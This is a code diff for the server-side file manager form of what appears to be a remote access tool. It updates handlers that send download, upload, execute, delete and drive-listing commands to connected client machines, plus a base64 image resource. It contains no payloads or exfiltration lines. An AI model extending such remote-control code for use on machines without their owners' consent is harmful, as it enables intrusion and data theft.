this.toolStripStatusLabel2 = new System.Windows.Forms.ToolStripStatusLabel();
|
||||
this.toolStripStatusLabel3 = new System.Windows.Forms.ToolStripStatusLabel();
|
||||
this.timer1 = new System.Windows.Forms.Timer(this.components);
|
||||
this.toolStripSeparator3 = new System.Windows.Forms.ToolStripSeparator();
|
||||
this.openClientFolderToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.contextMenuStrip1.SuspendLayout();
|
||||
this.statusStrip1.SuspendLayout();
|
||||
this.SuspendLayout();
|
||||
@ -75,6 +75,7 @@
|
||||
this.columnHeader1,
|
||||
this.columnHeader2});
|
||||
this.listView1.ContextMenuStrip = this.contextMenuStrip1;
|
||||
this.listView1.Enabled = false;
|
||||
this.listView1.LargeImageList = this.imageList1;
|
||||
this.listView1.Location = new System.Drawing.Point(0, 1);
|
||||
this.listView1.Name = "listView1";
|
||||
@ -106,19 +107,19 @@
|
||||
this.toolStripSeparator3,
|
||||
this.openClientFolderToolStripMenuItem});
|
||||
this.contextMenuStrip1.Name = "contextMenuStrip1";
|
||||
this.contextMenuStrip1.Size = new System.Drawing.Size(241, 439);
|
||||
this.contextMenuStrip1.Size = new System.Drawing.Size(233, 406);
|
||||
//
|
||||
// backToolStripMenuItem
|
||||
//
|
||||
this.backToolStripMenuItem.Name = "backToolStripMenuItem";
|
||||
this.backToolStripMenuItem.Size = new System.Drawing.Size(240, 32);
|
||||
this.backToolStripMenuItem.Size = new System.Drawing.Size(232, 32);
|
||||
this.backToolStripMenuItem.Text = "Back";
|
||||
this.backToolStripMenuItem.Click += new System.EventHandler(this.backToolStripMenuItem_Click);
|
||||
//
|
||||
// rEFRESHToolStripMenuItem
|
||||
//
|
||||
this.rEFRESHToolStripMenuItem.Name = "rEFRESHToolStripMenuItem";
|
||||
this.rEFRESHToolStripMenuItem.Size = new System.Drawing.Size(240, 32);
|
||||
this.rEFRESHToolStripMenuItem.Size = new System.Drawing.Size(232, 32);
|
||||
this.rEFRESHToolStripMenuItem.Text = "Refresh";
|
||||
this.rEFRESHToolStripMenuItem.Click += new System.EventHandler(this.rEFRESHToolStripMenuItem_Click);
|
||||
//
|
||||
@ -131,7 +132,7 @@
|
||||
this.toolStripSeparator2,
|
||||
this.driversListsToolStripMenuItem});
|
||||
this.gOTOToolStripMenuItem.Name = "gOTOToolStripMenuItem";
|
||||
this.gOTOToolStripMenuItem.Size = new System.Drawing.Size(240, 32);
|
||||
this.gOTOToolStripMenuItem.Size = new System.Drawing.Size(232, 32);
|
||||
this.gOTOToolStripMenuItem.Text = "Go To";
|
||||
//
|
||||
// dESKTOPToolStripMenuItem
|
||||
@ -170,69 +171,81 @@
|
||||
// toolStripSeparator1
|
||||
//
|
||||
this.toolStripSeparator1.Name = "toolStripSeparator1";
|
||||
this.toolStripSeparator1.Size = new System.Drawing.Size(237, 6);
|
||||
this.toolStripSeparator1.Size = new System.Drawing.Size(229, 6);
|
||||
//
|
||||
// downloadToolStripMenuItem
|
||||
//
|
||||
this.downloadToolStripMenuItem.Name = "downloadToolStripMenuItem";
|
||||
this.downloadToolStripMenuItem.Size = new System.Drawing.Size(240, 32);
|
||||
this.downloadToolStripMenuItem.Size = new System.Drawing.Size(232, 32);
|
||||
this.downloadToolStripMenuItem.Text = "Download";
|
||||
this.downloadToolStripMenuItem.Click += new System.EventHandler(this.downloadToolStripMenuItem_Click);
|
||||
//
|
||||
// uPLOADToolStripMenuItem
|
||||
//
|
||||
this.uPLOADToolStripMenuItem.Name = "uPLOADToolStripMenuItem";
|
||||
this.uPLOADToolStripMenuItem.Size = new System.Drawing.Size(240, 32);
|
||||
this.uPLOADToolStripMenuItem.Size = new System.Drawing.Size(232, 32);
|
||||
this.uPLOADToolStripMenuItem.Text = "Upload";
|
||||
this.uPLOADToolStripMenuItem.Click += new System.EventHandler(this.uPLOADToolStripMenuItem_Click);
|
||||
//
|
||||
// eXECUTEToolStripMenuItem
|
||||
//
|
||||
this.eXECUTEToolStripMenuItem.Name = "eXECUTEToolStripMenuItem";
|
||||
this.eXECUTEToolStripMenuItem.Size = new System.Drawing.Size(240, 32);
|
||||
this.eXECUTEToolStripMenuItem.Size = new System.Drawing.Size(232, 32);
|
||||
this.eXECUTEToolStripMenuItem.Text = "Execute";
|
||||
this.eXECUTEToolStripMenuItem.Click += new System.EventHandler(this.eXECUTEToolStripMenuItem_Click);
|
||||
//
|
||||
// renameToolStripMenuItem
|
||||
//
|
||||
this.renameToolStripMenuItem.Name = "renameToolStripMenuItem";
|
||||
this.renameToolStripMenuItem.Size = new System.Drawing.Size(240, 32);
|
||||
this.renameToolStripMenuItem.Size = new System.Drawing.Size(232, 32);
|
||||
this.renameToolStripMenuItem.Text = "Rename";
|
||||
this.renameToolStripMenuItem.Click += new System.EventHandler(this.RenameToolStripMenuItem_Click);
|
||||
//
|
||||
// copyToolStripMenuItem
|
||||
//
|
||||
this.copyToolStripMenuItem.Name = "copyToolStripMenuItem";
|
||||
this.copyToolStripMenuItem.Size = new System.Drawing.Size(240, 32);
|
||||
this.copyToolStripMenuItem.Size = new System.Drawing.Size(232, 32);
|
||||
this.copyToolStripMenuItem.Text = "Copy";
|
||||
this.copyToolStripMenuItem.Click += new System.EventHandler(this.CopyToolStripMenuItem_Click);
|
||||
//
|
||||
// pasteToolStripMenuItem
|
||||
//
|
||||
this.pasteToolStripMenuItem.Name = "pasteToolStripMenuItem";
|
||||
this.pasteToolStripMenuItem.Size = new System.Drawing.Size(240, 32);
|
||||
this.pasteToolStripMenuItem.Size = new System.Drawing.Size(232, 32);
|
||||
this.pasteToolStripMenuItem.Text = "Paste";
|
||||
this.pasteToolStripMenuItem.Click += new System.EventHandler(this.PasteToolStripMenuItem_Click_1);
|
||||
//
|
||||
// dELETEToolStripMenuItem
|
||||
//
|
||||
this.dELETEToolStripMenuItem.Name = "dELETEToolStripMenuItem";
|
||||
this.dELETEToolStripMenuItem.Size = new System.Drawing.Size(240, 32);
|
||||
this.dELETEToolStripMenuItem.Size = new System.Drawing.Size(232, 32);
|
||||
this.dELETEToolStripMenuItem.Text = "Delete";
|
||||
this.dELETEToolStripMenuItem.Click += new System.EventHandler(this.dELETEToolStripMenuItem_Click);
|
||||
//
|
||||
// toolStripSeparator4
|
||||
//
|
||||
this.toolStripSeparator4.Name = "toolStripSeparator4";
|
||||
this.toolStripSeparator4.Size = new System.Drawing.Size(237, 6);
|
||||
this.toolStripSeparator4.Size = new System.Drawing.Size(229, 6);
|
||||
//
|
||||
// createFolderToolStripMenuItem
|
||||
//
|
||||
this.createFolderToolStripMenuItem.Name = "createFolderToolStripMenuItem";
|
||||
this.createFolderToolStripMenuItem.Size = new System.Drawing.Size(240, 32);
|
||||
this.createFolderToolStripMenuItem.Size = new System.Drawing.Size(232, 32);
|
||||
this.createFolderToolStripMenuItem.Text = "Create Folder";
|
||||
this.createFolderToolStripMenuItem.Click += new System.EventHandler(this.CreateFolderToolStripMenuItem_Click);
|
||||
//
|
||||
// toolStripSeparator3
|
||||
//
|
||||
this.toolStripSeparator3.Name = "toolStripSeparator3";
|
||||
this.toolStripSeparator3.Size = new System.Drawing.Size(229, 6);
|
||||
//
|
||||
// openClientFolderToolStripMenuItem
|
||||
//
|
||||
this.openClientFolderToolStripMenuItem.Name = "openClientFolderToolStripMenuItem";
|
||||
this.openClientFolderToolStripMenuItem.Size = new System.Drawing.Size(232, 32);
|
||||
this.openClientFolderToolStripMenuItem.Text = "Open Client Folder";
|
||||
this.openClientFolderToolStripMenuItem.Click += new System.EventHandler(this.OpenClientFolderToolStripMenuItem_Click);
|
||||
//
|
||||
// imageList1
|
||||
//
|
||||
this.imageList1.ImageStream = ((System.Windows.Forms.ImageListStreamer)(resources.GetObject("imageList1.ImageStream")));
|
||||
@ -276,22 +289,9 @@
|
||||
//
|
||||
// timer1
|
||||
//
|
||||
this.timer1.Enabled = true;
|
||||
this.timer1.Interval = 1000;
|
||||
this.timer1.Tick += new System.EventHandler(this.Timer1_Tick);
|
||||
//
|
||||
// toolStripSeparator3
|
||||
//
|
||||
this.toolStripSeparator3.Name = "toolStripSeparator3";
|
||||
this.toolStripSeparator3.Size = new System.Drawing.Size(237, 6);
|
||||
//
|
||||
// openClientFolderToolStripMenuItem
|
||||
//
|
||||
this.openClientFolderToolStripMenuItem.Name = "openClientFolderToolStripMenuItem";
|
||||
this.openClientFolderToolStripMenuItem.Size = new System.Drawing.Size(240, 32);
|
||||
this.openClientFolderToolStripMenuItem.Text = "Open Client Folder";
|
||||
this.openClientFolderToolStripMenuItem.Click += new System.EventHandler(this.OpenClientFolderToolStripMenuItem_Click);
|
||||
//
|
||||
// FormFileManager
|
||||
//
|
||||
this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F);
|
||||
@ -302,6 +302,7 @@
|
||||
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
|
||||
this.Name = "FormFileManager";
|
||||
this.Text = "FileManager";
|
||||
this.FormClosed += new System.Windows.Forms.FormClosedEventHandler(this.FormFileManager_FormClosed);
|
||||
this.contextMenuStrip1.ResumeLayout(false);
|
||||
this.statusStrip1.ResumeLayout(false);
|
||||
this.statusStrip1.PerformLayout();
|
||||
@ -326,7 +327,6 @@
|
||||
private System.Windows.Forms.ToolStripMenuItem dELETEToolStripMenuItem;
|
||||
private System.Windows.Forms.ToolStripMenuItem rEFRESHToolStripMenuItem;
|
||||
private System.Windows.Forms.ToolStripMenuItem eXECUTEToolStripMenuItem;
|
||||
private System.Windows.Forms.Timer timer1;
|
||||
private System.Windows.Forms.ToolStripMenuItem gOTOToolStripMenuItem;
|
||||
private System.Windows.Forms.ToolStripMenuItem dESKTOPToolStripMenuItem;
|
||||
private System.Windows.Forms.ToolStripMenuItem aPPDATAToolStripMenuItem;
|
||||
@ -341,5 +341,6 @@
|
||||
private System.Windows.Forms.ToolStripMenuItem driversListsToolStripMenuItem;
|
||||
private System.Windows.Forms.ToolStripSeparator toolStripSeparator3;
|
||||
private System.Windows.Forms.ToolStripMenuItem openClientFolderToolStripMenuItem;
|
||||
public System.Windows.Forms.Timer timer1;
|
||||
}
|
||||
}
|
@ -14,6 +14,7 @@ namespace Server.Forms
|
||||
public partial class FormFileManager : Form
|
||||
{
|
||||
public Form1 F { get; set; }
|
||||
internal Clients ParentClient { get; set; }
|
||||
internal Clients Client { get; set; }
|
||||
public string FullPath { get; set; }
|
||||
public FormFileManager()
|
||||
@ -80,8 +81,8 @@ namespace Server.Forms
|
||||
{
|
||||
if (listView1.SelectedItems.Count > 0)
|
||||
{
|
||||
if (!Directory.Exists(Path.Combine(Application.StartupPath, "ClientsFolder\\" + Client.ID)))
|
||||
Directory.CreateDirectory(Path.Combine(Application.StartupPath, "ClientsFolder\\" + Client.ID));
|
||||
if (!Directory.Exists(FullPath))
|
||||
Directory.CreateDirectory(FullPath);
|
||||
foreach (ListViewItem itm in listView1.SelectedItems)
|
||||
{
|
||||
if (itm.ImageIndex == 0 && itm.ImageIndex == 1 && itm.ImageIndex == 2) return;
|
||||
@ -101,7 +102,8 @@ namespace Server.Forms
|
||||
{
|
||||
Name = "socketDownload:" + dwid,
|
||||
Text = "socketDownload:" + Client.ID,
|
||||
F = F
|
||||
F = F,
|
||||
FullPath = FullPath
|
||||
};
|
||||
SD.Show();
|
||||
}
|
||||
@ -231,7 +233,7 @@ namespace Server.Forms
|
||||
{
|
||||
try
|
||||
{
|
||||
if (!Client.TcpClient.Connected) this.Close();
|
||||
if (!Client.TcpClient.Connected || !ParentClient.TcpClient.Connected) this.Close();
|
||||
}
|
||||
catch { this.Close(); }
|
||||
}
|
||||
@ -367,19 +369,20 @@ namespace Server.Forms
|
||||
msgpack.ForcePathObject("Path").AsString = "USER";
|
||||
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
|
||||
}
|
||||
catch
|
||||
{
|
||||
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
|
||||
private void DriversListsToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "fileManager";
|
||||
msgpack.ForcePathObject("Command").AsString = "getDrivers";
|
||||
toolStripStatusLabel1.Text = "";
|
||||
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
|
||||
try
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "fileManager";
|
||||
msgpack.ForcePathObject("Command").AsString = "getDrivers";
|
||||
toolStripStatusLabel1.Text = "";
|
||||
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
|
||||
private void OpenClientFolderToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
@ -392,5 +395,16 @@ namespace Server.Forms
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
|
||||
private void FormFileManager_FormClosed(object sender, FormClosedEventArgs e)
|
||||
{
|
||||
try
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Command").AsString = "stopFileManager";
|
||||
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
}
|
||||
}
|
@ -127,8 +127,8 @@
|
||||
<value>
|
||||
AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4w
|
||||
LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0
|
||||
ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAABk
|
||||
ZQAAAk1TRnQBSQFMAgEBAwEAAUgBAAFIAQABMAEAATABAAT/ASEBAAj/AUIBTQE2BwABNgMAASgDAAHA
|
||||
ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAABS
|
||||
ZQAAAk1TRnQBSQFMAgEBAwEAAVgBAAFYAQABMAEAATABAAT/ASEBAAj/AUIBTQE2BwABNgMAASgDAAHA
|
||||
AwABMAMAAQEBAAEgBgABkEYAAwEBAgMMARADJwE7AxkBIwMFAQdDAAEBQwAEAQECAwEBAgMBAQIDAQEC
|
||||
AwEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQEC
|
||||
AwEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQEC
|
||||
@ -136,431 +136,431 @@
|
||||
AwABASsAAQEDBAEFAwsBDwMUARwDFQEdAwcBCgMCAQMDAQECAwABASwAAwIBAwMIAQsDDwEUAxIBGAMS
|
||||
ARgDEgEYAxIBGAMSARgDEgEYAxIBGAMSARgDEgEYAxIBGAMSARgDEgEYAxIBGAMSARgDEgEYAxIBGAMS
|
||||
ARgDEgEYAxIBGAMSARgDEgEYAxIBGAMSARgDEgEYAxIBGAMSARgDEgEYAxIBGAMSARgDEgEYAxIBGAMS
|
||||
ARgDEgEYAxIBGAMSARgDEgEYAxIBGAMSARgDEQEXAw0BEgMHAQkDAgED/wC5AAM7AWMBXgJhAd0BUgG0
|
||||
AdEB/wNCAXUDFgEfAwUBBwMBAQInAAEBAwMBBAMYASEDNgFYAU8CUwGlAVACUgGkAyIBMgMKAQ0DBwEJ
|
||||
AwMBBCgAAwEBAgMLAQ8DHwEtAy4BSAMzAVIDMwFTAzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMz
|
||||
AVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMz
|
||||
AVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFTAzIBUQMs
|
||||
AUQDGwEmAwgBCwMAAQH/AKkAAwQBBQMcASgDRQF8A14B1QFUAXsBkAH6AVMBtQHSAf8DRgF/AyIBMQMT
|
||||
ARoDCwEPAwUBBwMBAQIDAAEBAwMBBAMHAQoDEgEYAxsBJgMkATYDOAFdA0sBjgNYAbwBWgJdAdMBXQFh
|
||||
AWMB4gFdAWgBagHwA14B3QNHAYIDMQFPAyABLwMSARgDBgEIAwIBAwMAAQEcAAMEAQUDFwEgA0gBhQNQ
|
||||
AaMDVAGrA1QBqwNUAasDVAGrA1QBqwNUAasDVAGrA1QBqwNUAasDVAGrA1QBqwNUAasDVAGrA1QBqwNU
|
||||
ARgDEgEYAxIBGAMSARgDEgEYAxIBGAMSARgDEQEXAw0BEgMHAQkDAgED/wC5AAM7AWMDXgHdAVABtAHR
|
||||
Af8DQgF1AxYBHwMFAQcDAQECJwABAQMDAQQDGAEhAzYBWAFPAlMBpQFQAlIBpAMiATIDCgENAwcBCQMD
|
||||
AQQoAAMBAQIDCwEPAx8BLQMuAUgDMwFSAzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFT
|
||||
AzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFT
|
||||
AzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMyAVEDLAFE
|
||||
AxsBJgMIAQsDAAEB/wCpAAMEAQUDHAEoA0UBfANeAdUBUgF5AYoB+gFRAbUB0gH/A0YBfwMiATEDEwEa
|
||||
AwsBDwMFAQcDAQECAwABAQMDAQQDBwEKAxIBGAMbASYDJAE2AzgBXQNLAY4DWAG8AVoCXQHTAV0CYQHi
|
||||
AV0BZgFoAfADXgHdA0cBggMxAU8DIAEvAxIBGAMGAQgDAgEDAwABARwAAwQBBQMXASADSAGFA1ABowNU
|
||||
AasDVAGrA1QBqwNUAasDVAGrA1QBqwNUAasDVAGrA1QBqwNUAasDVAGrA1QBqwNUAasDVAGrA1QBqwNU
|
||||
AasDVAGrA1QBqwNUAasDVAGrA1QBqwNUAasDVAGrA1QBqwNTAaoDUAGfAzgBXAMSARkDAgED/wCkAAEB
|
||||
AwIBAwMiATIDTQGRAV8BZgFpAegBXQGSAZkB+wFUAbIB0AH/AVMBtgHTAf8DSAGDAycBOwMeASsDGQEj
|
||||
AxQBHAMTBBoEJAE2AzQBVANJAYgDVgG0AVoCXQHTAV8BZAFmAeABXQFxAXcB7QFdAYoBkAH5AVABpAG1
|
||||
Af0BUwGwAc4B/wFRAbQB0gH/AVABjQGgAfoBYgFmAWsB5wFeAmEB2gNCAXQDIwEzAxIBGAMHAQoDAgED
|
||||
HAADBQEHAx0BKgNBAfkDSwH/A0sB/wNLAf8DSwH/A0sB/wMDAf8DAwH/AwMB/wMEAf8DDAH/AywB/wNL
|
||||
Af8DSwH/A0sB/wNLAf8DSwH/AykB/wNKAf8DSgH/A0oB/wNKAf8DSgH/A0oB/wNLAf8DSwH/A0sB/wNL
|
||||
Af8DSwH/A0sB/wNLAf8DSwH/A0sB/wNLAf8DSwH/A0sB/wNLAf8DaQH/A1MB/wNLAf8DSwH/A0sB/wNZ
|
||||
AdcDFwEgAwQBBQsAAQEDAgQDBAQBBQMEAQUDBAEFAwQBBQMEAQUDBAEFAwQBBQMEAQUDBAEFAwQBBQME
|
||||
AasDVAGrA1QBqwNUAasDVAGrA1QBqwNUAasDVAGrA1QBqwNUAasDVAGrA1QBqwNUAasDVAGrA1QBqwNU
|
||||
AasDVAGrA1QBqwNUAasDVAGrA1QBqwNUAasDVAGrA1MBqgNQAZ8DOAFcAxIBGQMCAQP/AKQAAQEDAgED
|
||||
AyIBMgNNAZEBXwFkAWcB6AFdAZABlgH7AVIBsgHQAf8BUQG2AdMB/wNIAYMDJwE7Ax4BKwMZASMDFAEc
|
||||
AxMEGgQkATYDNAFUA0kBiANWAbQBWgJdAdMBXwFiAWQB4AFdAWsBcQHtAV0BiAGNAfkBTgGkAbMB/QFR
|
||||
AbABzgH/AU8BtAHSAf8BTgGHAZwB+gFiAWQBZgHnAV4CYQHaA0IBdAMjATMDEgEYAwcBCgMCAQMcAAMF
|
||||
AQcDHQEqA0EB+QNJAf8DSQH/A0kB/wNJAf8DSQH/AwEB/wMBAf8DAQH/AwIB/wMKAf8DKgH/A0kB/wNJ
|
||||
Af8DSQH/A0kB/wNJAf8DJwH/A0gB/wNIAf8DSAH/A0gB/wNIAf8DSAH/A0kB/wNJAf8DSQH/A0kB/wNJ
|
||||
Af8DSQH/A0kB/wNJAf8DSQH/A0kB/wNJAf8DSQH/A0kB/wNnAf8DUQH/A0kB/wNJAf8DSQH/A1kB1wMX
|
||||
ASADBAEFCwABAQMCBAMEBAEFAwQBBQMEAQUDBAEFAwQBBQMEAQUDBAEFAwQBBQMEAQUDBAEFAwQBBQME
|
||||
AQUDBAEFAwQBBQMEAQUDBAEFAwQBBQMEAQUDBAEFAwQBBQMEAQUDBAEFAwQBBQMEAQUDBAEFAwQBBQME
|
||||
AQUDBAEFAwQBBQMEAQUDBAEFAwQBBQMEAQUDBAEFAwQBBQMEAQUDBAEFAwQBBQMEAQUDBAEFAwIBAwMA
|
||||
AQHoAAMCAQMDDQERA1UBrQFZAX4BhQH1AVMBtwHVAf8BUwG3AdUB/wFTAbcB1QH/AVQBtwHUAf8DSAGE
|
||||
AykBPwMjATMDKAE8AzQBVANIAYQDWAHGAWIBYwFkAe8BUQG1AdMB/wFRAbUB0wH/AVEBtQHTAf8BUQG1
|
||||
AdMB/wFRAbUB0wH/AVEBtQHTAf8BUQG1AdMB/wFRAbUB0wH/AVEBtQHTAf8BUgG1AdMB/wFSAbUB0wH/
|
||||
AVMBtQHTAf8BVAG2AdMB/wNOAZgDLQFGAx8BLAMRARcDBgEIHAADBQEHAx8BLAM/Af4DUQH/A1EB/wNR
|
||||
Af8DUQH/A1EB/wMAAf8DBQH/A0EB/wNRAf8DUQH/A1EB/wNRAf8DUQH/A1EB/wNRAf8DUQH/AyoB/wNi
|
||||
Af8DYgH/A2IB/wNiAf8DYgH/A2IB/wNRAf8DUQH/A1EB/wNRAf8DUQH/A1EB/wNRAf8DUQH/A1EB/wNR
|
||||
Af8DUQH/A1EB/wNDAf8BAAG/ASwB/wE0AWABNAH/A1EB/wNRAf8DUQH/AzYB/wMYASIDBAEFBAADAgED
|
||||
AwkBDAMaASUDKgFBAywBRAMsAUQDLAFEAywBRAMsAUQDLAFEAywBRAMsAUQDLAFEAywBRAMsAUQDLAFE
|
||||
AQUDBAEFAwQBBQMEAQUDBAEFAwQBBQMEAQUDBAEFAwQBBQMEAQUDBAEFAwQBBQMEAQUDAgEDAwABAegA
|
||||
AwIBAwMNAREDVQGtAVkBdwGBAfUBUQG3AdUB/wFRAbcB1QH/AVEBtwHVAf8BUgG3AdQB/wNIAYQDKQE/
|
||||
AyMBMwMoATwDNAFUA0gBhANYAcYDYgHvAU8BtQHTAf8BTwG1AdMB/wFPAbUB0wH/AU8BtQHTAf8BTwG1
|
||||
AdMB/wFPAbUB0wH/AU8BtQHTAf8BTwG1AdMB/wFPAbUB0wH/AVABtQHTAf8BUAG1AdMB/wFRAbUB0wH/
|
||||
AVIBtgHTAf8DTgGYAy0BRgMfASwDEQEXAwYBCBwAAwUBBwMfASwDPwH+A08B/wNPAf8DTwH/A08B/wNP
|
||||
Af8DAAH/AwMB/wM/Af8DTwH/A08B/wNPAf8DTwH/A08B/wNPAf8DTwH/A08B/wMoAf8DYAH/A2AB/wNg
|
||||
Af8DYAH/A2AB/wNgAf8DTwH/A08B/wNPAf8DTwH/A08B/wNPAf8DTwH/A08B/wNPAf8DTwH/A08B/wNP
|
||||
Af8DQQH/AQABvwEqAf8BMgFeATIB/wNPAf8DTwH/A08B/wM0Af8DGAEiAwQBBQQAAwIBAwMJAQwDGgEl
|
||||
AyoBQQMsAUQDLAFEAywBRAMsAUQDLAFEAywBRAMsAUQDLAFEAywBRAMsAUQDLAFEAywBRAMsAUQDLAFE
|
||||
AywBRAMsAUQDLAFEAywBRAMsAUQDLAFEAywBRAMsAUQDLAFEAywBRAMsAUQDLAFEAywBRAMsAUQDLAFE
|
||||
AywBRAMsAUQDLAFEAywBRAMsAUQDLAFEAywBRAMsAUQDLAFEAywBRAMsAUQDKgFBAx0BKgMKAQ4DAwEE
|
||||
4AADDAEQAzABSwNZAb4BXQFnAWkB7QFSAagBuAH9AVQBuAHWAf8BVAG4AdYB/wFUAbgB1gH/AVUBuAHV
|
||||
Af8BUwJVAbABTwJQAZwBVgJYAbwBXAJgAdQBWwJhAeEBXAFjAWUB6gFgAXABdwH2AUsBigGhAfwBUgG1
|
||||
AdQB/wFSAbUB1AH/AVIBtQHUAf8BUgG1AdQB/wFSAbUB1AH/AVIBtQHUAf8BUgG1AdQB/wFSAbUB1AH/
|
||||
AVIBtQHUAf8BUwG1AdQB/wFTAbUB1AH/AVQBtQHUAf8BVQG2AdQB/wNOAZgDLgFIAyMBMwMYASEDCgEO
|
||||
AwEBAgMAAQEUAAMFAQcDHwEsAzQB/gM9Af8DPQH/Az0B/wM9Af8DPQH/AwAB/wM9Af8DPQH/Az0B/wM9
|
||||
Af8DPQH/Az0B/wM9Af8DPQH/Az0B/wM9Af8DJAH/A2IB/wNiAf8DYgH/A2IB/wNiAf8DYgH/Az0B/wM9
|
||||
Af8DPQH/Az0B/wM9Af8DPQH/Az0B/wM9Af8DPQH/Az0B/wM9Af8DPQH/AzkB/wETAYcBVwH/ATUBNwE1
|
||||
Af8DPQH/Az0B/wM9Af8DKwH/AxgBIgMEAQUDAAEBAxYBHgNOAZQDSAH2AzIB/gMeAf8DHAH/AxwB/wMc
|
||||
Af8DHAH/AxwB/wMeAf8DHgH/Ax4B/wMfAf8DIAH/AyAB/wMiAf8DIgH/AyIB/wMjAf8DIwH/AyQB/wMk
|
||||
Af8DIwH/AyMB/wMjAf8DIgH/AyIB/wMgAf8DIAH/Ax4B/wMdAf8DHAH/AxsB/wMaAf8DGQH/ARoCGAH/
|
||||
ASQBGAEZAf8BRQEdAR4B/wFqAjAB/wGDAjYB/wFqATEBLwH/AUkCJAH/AVEBRAFGAfcDVAGvAx0BKQMC
|
||||
AQPcAAMyAVABVgJZAb4BYAGKAZQB+QFeAZ4BuAH+AVUBuQHYAf8BVQG5AdgB/wFVAbkB2AH/AVUBuQHY
|
||||
Af8BVgG5AdcB/wFOAWkBcAHwAVQBZwFtAe4BUQFuAYQB9wE6AXgBfgH8AUEBlwGwAf8BTAGrAckB/wFR
|
||||
AbQB0gH/AVIBtgHVAf8BUgG2AdUB/wFSAbYB1QH/AVIBtgHVAf8BUgG2AdUB/wFSAbYB1QH/AVIBtgHV
|
||||
Af8BUgG2AdUB/wFSAbYB1QH/AVMBtwHVAf8BUwG3AdUB/wFTAbcB1QH/AVQBtwHVAf8BVQG3AdYB/wNO
|
||||
AZgDLQFGAyMBMwMZASMDDAEQAwIBAwMAAQEUAAMFAQcDHgErAyoB/gMsAf8DLAH/AywB/wMsAf8DLAH/
|
||||
AwAB/wMsAf8DLAH/AywB/wMsAf8DLAH/AywB/wMsAf8DLAH/AywB/wMsAf8DHgH/A2IB/wNiAf8DYgH/
|
||||
A2IB/wNiAf8DYgH/AywB/wMsAf8DLAH/AywB/wMsAf8DLAH/AywB/wMsAf8DLAH/AywB/wMsAf8DLAH/
|
||||
AywB/wMsAf8DLAH/AywB/wMsAf8DLAH/AyEB/wMYASEDBAEFAwMBBAM4AV0DSwHyAwkB/wMAAf8DAAH/
|
||||
AywBRAMsAUQDLAFEAywBRAMsAUQDLAFEAywBRAMsAUQDLAFEAyoBQQMdASoDCgEOAwMBBOAAAwwBEAMw
|
||||
AUsDWQG+AV0BZQFnAe0BUAGoAbYB/QFSAbgB1gH/AVIBuAHWAf8BUgG4AdYB/wFTAbgB1QH/AVMCVQGw
|
||||
AU8CUAGcAVYCWAG8AVwCYAHUAVsCYQHhAVwBYQFjAeoBYAFqAXMB9gFHAYQBmwH8AVABtQHUAf8BUAG1
|
||||
AdQB/wFQAbUB1AH/AVABtQHUAf8BUAG1AdQB/wFQAbUB1AH/AVABtQHUAf8BUAG1AdQB/wFQAbUB1AH/
|
||||
AVEBtQHUAf8BUQG1AdQB/wFSAbUB1AH/AVMBtgHUAf8DTgGYAy4BSAMjATMDGAEhAwoBDgMBAQIDAAEB
|
||||
FAADBQEHAx8BLAM0Af4DOwH/AzsB/wM7Af8DOwH/AzsB/wMAAf8DOwH/AzsB/wM7Af8DOwH/AzsB/wM7
|
||||
Af8DOwH/AzsB/wM7Af8DOwH/AyIB/wNgAf8DYAH/A2AB/wNgAf8DYAH/A2AB/wM7Af8DOwH/AzsB/wM7
|
||||
Af8DOwH/AzsB/wM7Af8DOwH/AzsB/wM7Af8DOwH/AzsB/wM3Af8BEQGHAVUB/wEzATUBMwH/AzsB/wM7
|
||||
Af8DOwH/AykB/wMYASIDBAEFAwABAQMWAR4DTgGUA0gB9gMyAf4DHAH/AxoB/wMaAf8DGgH/AxoB/wMa
|
||||
Af8DHAH/AxwB/wMcAf8DHQH/Ax4B/wMeAf8DIAH/AyAB/wMgAf8DIQH/AyEB/wMiAf8DIgH/AyEB/wMh
|
||||
Af8DIQH/AyAB/wMgAf8DHgH/Ax4B/wMcAf8DGwH/AxoB/wMZAf8DGAH/AxcB/wEYAhYB/wEiARYBFwH/
|
||||
